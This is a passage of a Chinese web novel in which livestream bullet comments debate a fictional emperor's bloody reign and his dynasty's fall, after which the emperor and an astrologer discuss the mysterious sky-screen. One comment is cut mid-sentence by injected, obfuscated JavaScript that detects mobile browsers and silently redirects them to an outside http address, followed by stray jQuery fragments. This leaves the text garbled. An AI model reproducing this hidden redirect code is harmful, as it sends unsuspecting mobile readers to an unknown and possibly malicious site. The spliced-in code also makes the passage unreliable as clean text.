【天子代天牧民,有没有考虑过这个“牧”字,一个天然具有暴力、强大的人,你会相信他会爱惜而不是踩死一只蚂蚁吗?再爱民,最多当成牛羊这种私产,江山是他家祖产,如果非要用爱民如子这一说,他更可能是个守财奴】
【有人总拿他爱杀人做文章,揪着这点不放,自古成大事者哪个不杀人?其他皇帝杀得少了?】
【这是围魏救赵了?】
【对皇帝来说,妄杀和非杀不可不是一个概念】
【试图把个体行为上升为普遍现象,进而合理化他的扩大化肆意杀人行径】
【说真的,后世人多数时候反而不在意某个皇帝杀不杀人,刀没悬自己头上,评判的标准主要还是他太菜了】
【主要是菜】
【历史评他为厉帝,杀戮无辜曰厉,死后爆了那么多雷,这个评价相当客观了,可以说现代人是因为离得远不考虑时代背景误解了他,总不能说当时及后面几朝的史官、当事人也是误解他吧】
【可你们想过没有,他登基时大夏王朝已经走下坡路了,很多雷是前几任埋下的,只是到他这暴雷了。历史大势不可阻挡,又不是他一个人让大夏四分五裂的,你们过于高估了一个人在历史洪流中掌舵王朝这艘大船的力量,这是制度性的悲剧,他遇到的一些事情顺应的是不可逆的周期性规律。盛世大治本来就是昙花一现的,有多少王朝中后期怀柔的守成明君吏治清明、知人善用,尽人力,但违天时,没有得到应有的历史评价,个人是无法做到给衰微王朝逆天改命的,时势造英雄,造就盛世也与一个皇帝运气和所生时代有关】
【前面,你这逻辑很奇怪,顾左右而言他,故意转移话题,又扯到什么盛世,你后面话没错,可弹幕有人说王
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811280|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝衰微只是他一个人的问题吗?他确实是个很大的推手吧,他雷埋得少了?难道论证时代坏他就是个好人了?难道那些拟人逆天政策都是别人逼着他颁布的?不说圣君,他做到守成了吗?】
【厉帝粉不是最爱强调陛下在大夏取得巨大成就中的个人作用吗?】
【因为是逆风局,不强调个人力量,又开始讲客观了,主打一个顺势而为、变化灵活】
【是的,他登基后环境不行,那猜猜环境又是谁搞坏的】
【典型人不行怪路平】
夏厉帝作为一个有一点争议的历史区皇帝,本来盖棺定论是个千古罪人(功绩是有,可主要因其死后朝政混乱酿成外族入侵中原一两百年的人间惨剧),可近年来历史区翻案之风盛行,有博主为搏眼球,频频发言——意思外族入侵罪过不在他,而在诸王文官。并且立场先行,为此搜集了不少史料论据。慢慢的,更多人也就觉得他大概是被史官坑害了。
遇到专门讨论他功绩罪过的时候,弹幕一向吵得厉害,而这次明显逆风,不少厉帝粉蜷缩起来,只有少数还在负隅抵抗,或者转移话题。
按常理来说,正常的古代皇帝及格线相当低,别说有开国、统一、盛世这类近乎“免死金牌”效果的功绩,但凡你颁布过一些不错的政策或做出一些政绩,甚至还或多或少开拓了疆土、增长了人口,正战绩,哪怕人品有些瑕疵,哪怕真的有大污点,最后谥号风评都还会不错——皇帝是在一个独立的评价体系里。
而厉帝抽象就抽象在,他越老,越和个神经病一样,杀人如麻,死在他手上的人数不胜数。而且有的是毫无章法和目的,似乎有点风吹草动便随机杀人或把人下大狱的意思了,外头有人用诗骂他,看到后就立刻拿人处死,朝廷内外人人自危。
而且带来的影响太过恶劣,厉帝一死,生前埋下的雷接连触发,社会风气每况愈下,礼崩乐坏,皇室自相残杀,诸王纷纷分裂造反,国家空虚,外族入侵。
生生造就了后面将近一两百年的黑暗历史。
以至于他成了历史罪人,那点功,根本不抵过。
姜柏弥看弹幕争吵不休,从她的角度看,节目效果是真的有了。
直播间里各路人马齐聚,群魔乱舞,吵作了一团。
吵着吵着,别说正常交流,弹幕后面都没什么人摆论据观点,两波人都开始互相批发帽子了,什么是不是收了人家的钱,什么你是不是社达。
在一次抬头时,姜柏弥的眼神意外和老皇帝对视上。
和贤妃的眼神不同,老皇帝的眼神相当阴冷、无情…像看一个背叛者,看一个死人。
皇帝眼里,她就是个囚徒,一个将死之人。
——不足为惧。
只是天幕当头,如芒在背。
到现在他也没摸清那个小六底细,也不知晓她和天幕突然出现的关联,他若此时轻易杀人,万一惹得上苍不快,也是没有必要。
那个天师还在给皇帝分析天幕。
皇帝:“那个天幕上的女人是谁?”
天师:“臣老眼昏花…”
皇帝:“……嗯?”
天师:“陛下听到她说话的声音了吗?与开篇出现过一道缥缈女声颇为相似,只是不知两幕时间谁前谁后。”
天师耳朵很好使,一般人没听出来两者的相似,开篇与草原军队对阵时,就冷不丁出现过一道女声旁白。
有了这句提醒,皇帝很快想起那句飘渺之言里有句“我们的帝王”。
“莫非……这个浣衣女子就在草原那场战役里,她与昭文皇帝认识?”皇帝有些疑惑。
“刚才所述,仅仅是臣一点不可靠的猜测罢了。”天师故作谦虚,也给自己留了点后路。
“天师不必自谦。”有了线索,皇帝有豁然开朗之感,开局以来,天幕反映的都是大禹的过失——前朝失德,岂不更能弘扬大夏之功德、正统!